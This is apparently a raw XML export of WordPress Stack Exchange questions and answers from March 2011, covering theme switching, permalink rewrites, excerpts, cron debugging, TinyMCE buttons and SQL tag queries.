  <row Id="13620" PostTypeId="1" AcceptedAnswerId="13627" CreationDate="2011-03-31T13:53:36.200" Score="0" ViewCount="53" Body="&lt;p&gt;My theme is in a folder called &quot;mytheme&quot; and the &quot;Theme Name&quot; in the style.css is &quot;My Theme&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that, I'm guessing that the option &quot;template&quot; in the options table is a reference to the folder, not the &quot;Theme Name&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking because I want to be sure that the value I should pass to switch_theme() is a reference to the foldername mytheme, not the theme name &quot;My Theme&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch_theme('mytheme', 'style.css')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-03-31T14:04:04.787" LastActivityDate="2011-03-31T15:09:03.840" Title="Where are the options &quot;template&quot; and &quot;current_theme&quot; derived from" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="13621" PostTypeId="2" ParentId="8315" CreationDate="2011-03-31T13:54:01.083" Score="1" ViewCount="" Body="&lt;p&gt;I came to the conclusion that new lines (enter's) in the textarea are being converted to html line breaks (br's).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I put the input on the same line as the label, it shows correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="4348" LastActivityDate="2011-03-31T13:54:01.083" />
  <row Id="13622" PostTypeId="2" ParentId="13411" CreationDate="2011-03-31T14:01:45.930" Score="2" ViewCount="" Body="&lt;p&gt;You could do this on custom post type registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Set your default permalink in the WordPress admin to your desired structure e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;/blog/%postname%&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Add the &quot;slug&quot; and &quot;with_front&quot; parameter to the rewrite-array in the register_post_type function. &quot;slug&quot; must be the name of your post-type.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $args = array(&#xA;    // ...&#xA;    'rewrite' =&gt; array(&#xA;        'slug' =&gt; 'your_post_type',&#xA;        'with_front' =&gt; false&#xA;    ),&#xA;    // ...&#xA;  ); &#xA;  register_post_type('your_post_type',$args);&lt;/code&gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should generate the following rewrite-rules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Default Post: http://example.com/blog/%postname%&#xA;Default Page: http://example.com/%postname%&#xA;Custom Post Type: http://example.com/your_post_type/%postname%&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &quot;slug&quot; parameter is optional. If you don't set it, the name of your custom post type is used. Check out the function reference about register_post_type:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-03-31T14:01:45.930" CommentCount="2" />
  <row Id="13623" PostTypeId="1" AcceptedAnswerId="13624" CreationDate="2011-03-31T14:11:08.947" Score="1" ViewCount="139" Body="&lt;p&gt;I have a dilemma, well a new blog which im developing and a few of the posts titles are like this 'Tutorial: Build your first App' or 'Tutorial: Start your business with xensuithia'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page called tutorials that display the posts from this category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the title to not display the 'Tutorial:' part on this page, I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;str_replace('Tutorial:',' ', the_title()); &#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it does not work. It just outputs the full title. &lt;/p&gt;&#xA;" OwnerUserId="4350" LastActivityDate="2011-08-08T16:27:39.587" Title="str_replace the_title(); blues" Tags="&lt;posts&gt;&lt;php&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="13624" PostTypeId="2" ParentId="13623" CreationDate="2011-03-31T14:21:50.763" Score="3" ViewCount="" Body="&lt;p&gt;That's because the_title() echoes the title. Use this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo str_replace( 'Tutorial: ', '', get_the_title() );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4351" LastActivityDate="2011-03-31T14:21:50.763" CommentCount="2" />
  <row Id="13625" PostTypeId="1" CreationDate="2011-03-31T14:24:53.913" Score="1" ViewCount="252" Body="&lt;p&gt;How can I debug problems with WordPress Cron? I think it will trigger when users go to your site but any errors wont be shown to them, as the jobs are run &quot;asynchronously&quot;. So how might I debug errors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_schedule_event&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp schedule event&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-03-31T18:28:55.783" Title="How to debug WordPress &quot;Cron&quot; wp_schedule_event" Tags="&lt;cron&gt;" AnswerCount="3" />
  <row Id="13626" PostTypeId="2" ParentId="13570" CreationDate="2011-03-31T14:39:04.440" Score="3" ViewCount="" Body="&lt;p&gt;*&lt;strong&gt;&lt;em&gt;See edit history for previous comments&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided i'm going to write a plugin to do this, the plugin discussed i'm sure was written with the best intentions, but the code in my personal opinion needs a total rewrite, which is essentially what i'll be doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The aim will basically be to emulate the functionality of the WordPress Post Tabs plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt;&lt;br&gt;&#xA;This plugin includes &lt;a href=&quot;http://plugins.jquery.com/project/Cookie&quot; rel=&quot;nofollow&quot;&gt;jQuery cookie&lt;/a&gt;, which is dual licensed under the MIT and GPL licenses, just a heads up for those of you that need to know such things.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Features&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The plugin will feature the following.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Smart CSS and Script loading&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;- &lt;em&gt;Only loads CSS and JS when there's a post in the loop with the shortcode&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Skin selection&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;- &lt;em&gt;Choose from a list of jQuery UI styles&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disable skin loading&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;- &lt;em&gt;Optionally turn off stylesheet loading, and just define your own&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disabled tabs&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;- &lt;em&gt;Disable clicking on tabs that do not have any content yet&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;jQuery cookie&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;- &lt;em&gt;Enable the jQuery cookie script to track selected tabs&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Tab navigation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;- &lt;em&gt;Display clickable links to navigate between tabs&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Loading on archive pages&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;- &lt;em&gt;Choose whether to display the tabs on archive pages&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Translation ready&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;- &lt;em&gt;Supports other languages&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Live style preview&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;- &lt;em&gt;See a live preview of tab styles in the plugin settings page&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Filter hooks for navigation links&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;- &lt;em&gt;So you can change the navigation icons&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Utilises the settings API&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Screenshots&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Front side&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.stack.imgur.com/v09QM.png&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;http://i.stack.imgur.com/v09QM.png&quot; width=&quot;150&quot; height=&quot;150&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin side&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.stack.imgur.com/rzZiS.png&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;http://i.stack.imgur.com/rzZiS.png&quot; width=&quot;150&quot; height=&quot;150&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a few more bits to test, but it's almost ready, watch this space!.. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;del&gt;Just need to get &lt;a href=&quot;http://wordpress.stackexchange.com/q/13821/1468&quot;&gt;some things worked out&lt;/a&gt; regarding using the plugin repository first, then we should be good to go..&lt;/del&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Post UI Tabs (or PUT for short)&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/put/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/put/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-06T16:27:48.810" LastActivityDate="2011-04-06T16:27:48.810" CommentCount="13" />
  <row Id="13627" PostTypeId="2" ParentId="13620" CreationDate="2011-03-31T14:56:01.280" Score="1" ViewCount="" Body="&lt;p&gt;You'r right. The template-tag is based on your directory name. Same goes for a child-theme, which has a base theme as parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the search_theme_directories() function for more information.&lt;/p&gt;&#xA;" OwnerUserId="3817" LastEditorUserId="3817" LastEditorDisplayName="" LastEditDate="2011-03-31T15:09:03.840" LastActivityDate="2011-03-31T15:09:03.840" CommentCount="2" />
  <row Id="13628" PostTypeId="2" ParentId="6400" CreationDate="2011-03-31T15:09:13.397" Score="0" ViewCount="" Body="&lt;p&gt;Not sure if you're still looking for an answer, but I wrote a plugin to take care of this: &lt;a href=&quot;http://yjsoon.com/dfll-plugin&quot; rel=&quot;nofollow&quot;&gt;http://yjsoon.com/dfll-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if your using linked_list_url means you're already using the plugin, but if you are, I just updated it. :)&lt;/p&gt;&#xA;" OwnerUserId="4326" LastActivityDate="2011-03-31T15:09:13.397" />
  <row Id="13629" PostTypeId="2" ParentId="13625" CreationDate="2011-03-31T15:10:30.010" Score="0" ViewCount="" Body="&lt;p&gt;You can (and probably should in any case, cron or not) &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Configure_Error_Log&quot; rel=&quot;nofollow&quot;&gt;configure PHP error log&lt;/a&gt; to capture all errors.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-31T15:10:30.010" />
  <row Id="13630" PostTypeId="1" AcceptedAnswerId="13632" CreationDate="2011-03-31T15:12:03.173" Score="2" ViewCount="181" Body="&lt;p&gt;Hey all, I see that get_the_excerpt() echoes the post excerpt if it is manually set, but not if it is automatically generated (with just the 55 words, for example). [and its use is deprecated]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the_excerpt() on the other hand, echoes directly without giving me a string in return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a function to return the excerpt of a post in Wordpress, including automatic excerpt if not manually defined, without echoing it?&lt;/p&gt;&#xA;" OwnerUserId="4017" LastActivityDate="2011-03-31T16:19:07.873" Title="How to return the_excerpt (without echo)?" Tags="&lt;php&gt;&lt;excerpt&gt;&lt;the-excerpt&gt;" AnswerCount="2" />
  <row Id="13631" PostTypeId="2" ParentId="13625" CreationDate="2011-03-31T15:22:34.033" Score="1" ViewCount="" Body="&lt;p&gt;You could use the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/cron-view/&quot; rel=&quot;nofollow&quot;&gt;Cron-View&lt;/a&gt;. There you can see if your job is a) registered and b) what the next due time is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, you could add a lower schedule-timer to your event (e.g. every 2 min) and test your method more frequently on a local system. Use the 'cron_schedules' filter hook to register new schedule times. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&lt;code&gt;function my_additional_schedules($schedules) {&#xA;    // interval in seconds&#xA;    $schedules['every2min'] = array('interval' =&gt; 2*60, 'display' =&gt; 'Every two minutes');&#xA;    return $schedules;&#xA;}&#xA;add_filter('cron_schedules', 'my_additional_schedules');&lt;/code&gt;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-03-31T15:22:34.033" />
  <row Id="13632" PostTypeId="2" ParentId="13630" CreationDate="2011-03-31T15:23:00.087" Score="3" ViewCount="" Body="&lt;p&gt;Sure thing my friend, you see, the function &quot;the_excerpt&quot; (located at &quot;WORDPRESSINSTALLDIR/wp-includes/post-template.php&quot;) is the one that makes the echo:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function the_excerpt() {  &#xA;    echo apply_filters('the_excerpt', get_the_excerpt());  &#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so, what you want is to use the same function &quot;apply_filters&quot; without the echo:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myexcerpt = apply_filters('the_excerpt', get_the_excerpt());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and there you have your excerpt.&lt;/p&gt;&#xA;" OwnerUserId="2507" LastActivityDate="2011-03-31T15:23:00.087" />
  <row Id="13633" PostTypeId="1" AcceptedAnswerId="13635" CreationDate="2011-03-31T15:24:19.367" Score="1" ViewCount="177" Body="&lt;p&gt;I'm successfully adding buttons to the TinyMCE editor in Wordpress, but the problem is they all show up to the right of the Kitchen Sink button and I have so many that I need them to display on a new line. How do I make the buttons wrap to the next line and/or create a new row for my custom buttons? Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tinymce.create('tinymce.plugins.boxlight', {&#xA;    init : function(ed, url) {&#xA;        ed.addButton('boxlight', {&#xA;            title : 'Add a light content box',&#xA;            image : url+'/images/box-light.png',&#xA;            theme_advanced_buttons3_add : 'boxlight',&#xA;            onclick : function() {&#xA;                 ed.selection.setContent('[box_light]' + ed.selection.getContent() + '[/box_light]');&#xA;&#xA;            }&#xA;        });&#xA;    },&#xA;    createControl : function(n, cm) {&#xA;        return null;&#xA;    },&#xA;});&#xA;&#xA;tinymce.PluginManager.add('boxlight', tinymce.plugins.boxlight);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That code just adds the buttons to the main TinyMCE toolbar and I can't figure out how to add the buttons to a new toolbar.&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2011-03-31T15:36:46.987" Title="When adding buttons to the tinyMCE editor, how do I make them wrap to the next line and/or display in the &quot;Kitchen Sink&quot; area?" Tags="&lt;filters&gt;&lt;tinymce&gt;&lt;wysiwyg&gt;" AnswerCount="1" />
  <row Id="13634" PostTypeId="1" AcceptedAnswerId="13644" CreationDate="2011-03-31T15:35:33.307" Score="0" ViewCount="75" Body="&lt;p&gt;I've two wordpress installs at&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/blog&#xA;example.com/otherblog&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want to do is install WP at the root, and have a network, but maintain the URLs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm confident I can install WP, and export the single installs, and import them to the network. My question is this: can I do all this, and keep the urls? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And can the an old one run simultaneously with the new network site before it gets imported so I don't have to import both at once? I.e. could I have example.com/blog run under the multisite while example.com/otherblog runs on its own install?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this &lt;em&gt;is&lt;/em&gt; possible what steps do I have to take beyond all the import/export business?&lt;/p&gt;&#xA;" OwnerUserId="4352" LastEditorUserId="4352" LastEditorDisplayName="" LastEditDate="2011-03-31T15:42:31.210" LastActivityDate="2011-03-31T16:27:30.833" Title="Create new network instance, import old single installs AND keep the urls?" Tags="&lt;multisite&gt;&lt;3.1&gt;&lt;network&gt;" AnswerCount="1" />
  <row Id="13635" PostTypeId="2" ParentId="13633" CreationDate="2011-03-31T15:36:46.987" Score="0" ViewCount="" Body="&lt;p&gt;I imagine you're also adding a filter &lt;code&gt;mce_buttons&lt;/code&gt; to add in the button to, something like..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'mce_buttons', 'add_my_tinymce_buttons' );&#xA;&#xA;function add_my_tinymce_buttons( $items ) {&#xA;    $items[] = 'your-button';&#xA;    return $items;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just change the filter to hook onto &lt;code&gt;mce_buttons_2&lt;/code&gt; instead, and the button will appear on the second row , eg..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'mce_buttons_2', 'add_my_tinymce_buttons' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-31T15:36:46.987" CommentCount="2" />
  <row Id="13636" PostTypeId="1" CreationDate="2011-03-31T15:37:42.400" Score="0" ViewCount="153" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13173/can-i-add-pages-to-my-custom-menu-via-script&quot;&gt;Can I add pages to my custom menu via script?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;My theme has a custom menu called &quot;Custom Header Menu&quot; and i've got a plugin that sets up site defaults and creates my static pages that I'd like to customize in order to seed the custom menu with posts and pages on the fly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'd like to add some code to the plugin so that each of the page's I'm creating gets added/assigned to the custom menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just looking for a point of reference on how to add pages to a custom menu on the fly via script...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From wp-includes/nav-menu.php, I'm expecting to use this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_update_nav_menu_item( $menu_id = 0, $menu_item_db_id = 0, $menu_item_data = array() )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where $menu_id is the id of my &quot;Custom Header Menu&quot; and $menu_item_data is an array of the pages I'm assigning to the menu.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-03-31T16:31:00.263" LastActivityDate="2011-03-31T17:54:05.753" ClosedDate="2011-04-06T14:58:39.430" Title="How to add pages to custom menus on the fly" Tags="&lt;plugin-development&gt;&lt;custom-menus&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="13637" PostTypeId="1" CreationDate="2011-03-31T15:41:55.977" Score="0" ViewCount="148" Body="&lt;p&gt;I need a RAW SQL, as I am working from different platform with WordPress Database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run &lt;code&gt;example.com/tag/first+second&lt;/code&gt;, WordPress runs a query &lt;code&gt;SELECT post_id, meta_key, meta_value FROM wp_postmeta WHERE post_id IN (10649,7783,6336,4556,3938)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where did this get the post IDs? I am only guessing.&#xA;I do have certain thoughts about it, but first want to see if someone knows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the query I have built when getting posts by SINGLE tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `wp_posts`.`ID`, `wp_posts`.`post_name`, `wp_posts`.`post_title`, `wp_posts`.`post_date`, `wp_posts`.`post_content` , DATEDIFF(CURDATE(),post_date) as days_ago &#xA;FROM `wp_posts` &#xA;    INNER JOIN wp_term_relationships&#xA;        ON (wp_posts.ID = wp_term_relationships.object_id) &#xA;    INNER JOIN wp_term_taxonomy &#xA;        ON (wp_term_relationships.term_taxonomy_id = wp_term_taxonomy.term_taxonomy_id)&#xA;    INNER JOIN wp_terms &#xA;        ON (wp_term_taxonomy.term_id = wp_terms.term_id)&#xA;WHERE 1=1&#xA;    AND wp_term_taxonomy.taxonomy = 'post_tag'&#xA;    AND wp_terms.slug SOUNDS LIKE 'Hennessy'&#xA;    AND wp_terms.slug SOUNDS LIKE 'VS' &#xA;    AND wp_posts.post_type = 'post'&#xA;    AND (wp_posts.post_status = 'publish')&#xA;GROUP BY wp_posts.ID&#xA;ORDER BY wp_posts.post_date DESC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="4089" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-03-31T16:33:02.640" LastActivityDate="2011-03-31T17:54:14.113" Title="Can Anyone provide an example of RAW SQL for SELECTING posts by 2 or more tags" Tags="&lt;sql&gt;&lt;custom-sql&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="13638" PostTypeId="2" ParentId="13616" CreationDate="2011-03-31T15:47:49.433" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7&lt;/a&gt; is pretty flexible. And there's the premium plugin, &lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt;, which a lot of people love. Or if you don't really need to keep the subscriber info in your own database, you could always use a service like &lt;a href=&quot;http://mailchimp.com/&quot; rel=&quot;nofollow&quot;&gt;MailChimp&lt;/a&gt;, for which there are WordPress plugins available for subscriber sign-up.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-31T15:47:49.433" />
  <row Id="13639" PostTypeId="2" ParentId="13636" CreationDate="2011-03-31T16:03:57.913" Score="1" ViewCount="" Body="&lt;p&gt;Can you post the name of your plugin? Maybe someone has already a solution for this specific question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot give u a solution. Haven't much played around with the &quot;new&quot; wp-navmenu feature so I can only make some suggestions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Search in your plugin for the function/method which creates a new post in the WordPress table.&lt;/li&gt;&#xA;&lt;li&gt;Return the id of the created post (wp_insert_post(), wp_update_post() returns it by default).&lt;/li&gt;&#xA;&lt;li&gt;Add the post with the given id to the menu:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With a post in wp_posts table - The wp-nav-menu items are simple posts with post type &quot;wp-nav-item&quot;. You also need to add the right terms and make the relationship in the wp_term_relationships table.&lt;/li&gt;&#xA;&lt;li&gt;With a filter-hook, e.g. 'wp_get_nav_menu_items'. Look at the file &quot;nav-menu.php&quot; in the wp-includes directory. On line 525 you could see the assigned filter-hook in the function &quot;wp_get_nav_menu_items&quot;. This method wouldn't be parmanent, which meens you cannot edit the posts/pages in the &quot;Menu&quot;-Section in your Adminpanel. So option Nr.1 is probably the way to go for your problem.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-03-31T16:03:57.913" CommentCount="1" />
  <row Id="13640" PostTypeId="2" ParentId="13618" CreationDate="2011-03-31T16:06:12.387" Score="1" ViewCount="" Body="&lt;p&gt;There's a &lt;code&gt;query_posts&lt;/code&gt; parameter where you normally use &lt;code&gt;published&lt;/code&gt;, but can use &lt;code&gt;private&lt;/code&gt; too.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-31T16:06:12.387" CommentCount="2" />
  <row Id="13641" PostTypeId="1" CreationDate="2011-03-31T16:07:44.540" Score="0" ViewCount="67" Body="&lt;p&gt;I'm creating a script that will remove the default &quot;Blogroll&quot; links in Links manager and replace them with an arbitrary listing of links, each with a custom css style name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It my case, I'll be replacing them with my list of social media links and icons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to make this truly dynamic, I'll be seeding the links from a customizable text file which the plugin owner can edit and place inside the plugin before its installed and activated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the default blogroll.txt file would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;social&quot;&amp;gt;&#xA;&amp;lt;li class=&quot;twitter&quot;&amp;gt;&amp;lt;a href=&quot;http://twitter.com&quot; /&amp;gt;Twitter&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;facebook&quot;&amp;gt;&amp;lt;a href=&quot;http://facebook.com&quot; /&amp;gt;FaceBook&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;youtube&quot;&amp;gt;&amp;lt;a href=&quot;http://youtube.com&quot; /&amp;gt;YouTube&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;linkedin&quot;&amp;gt;&amp;lt;a href=&quot;http://linkedin.com&quot; /&amp;gt;LinkedIn&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I'm creating a script that will parse this content and for each list item, it will use wp_insert_link() to add the list item to the &quot;Links&quot; listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem I have is that there's no way to insert a custom css class to define each link. This is needed so that the appropriate icon can be attached to the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps I could use the &quot;image address&quot; field to do this, but css would be my preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would one assign a css class id or name to each link that's created?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-03-31T16:20:12.440" LastActivityDate="2011-08-10T06:21:49.563" Title="Replace default Blogroll Links with Social Media Links" Tags="&lt;plugin-development&gt;&lt;links&gt;&lt;blogroll&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="13642" PostTypeId="2" ParentId="13630" CreationDate="2011-03-31T16:19:07.873" Score="0" ViewCount="" Body="&lt;p&gt;There's also the function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_trim_excerpt&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_trim_excerpt()&lt;/code&gt;&lt;/a&gt;, which will generate and return an excerpt for the current post.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-31T16:19:07.873" CommentCount="1" />
  <row Id="13643" PostTypeId="1" CreationDate="2011-03-31T16:26:45.860" Score="0" ViewCount="207" Body="&lt;p&gt;I'm very new to WordPress. I need to get the date of a post and compare that date to a specific date (04/01/2011), so add some banners and stuff to every post created &quot;after&quot; that pivot date. But the only functions I found in the wordpress documentation are examples of functions to &quot;print&quot; the date, like the_time(), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows how I could made this thing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!!!&lt;/p&gt;&#xA;" OwnerUserId="3251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-02T05:19:48.877" LastActivityDate="2011-04-13T14:32:06.370" Title="How to get the date of a post in WordPress, so I could use it in a script?" Tags="&lt;posts&gt;&lt;date-time&gt;" 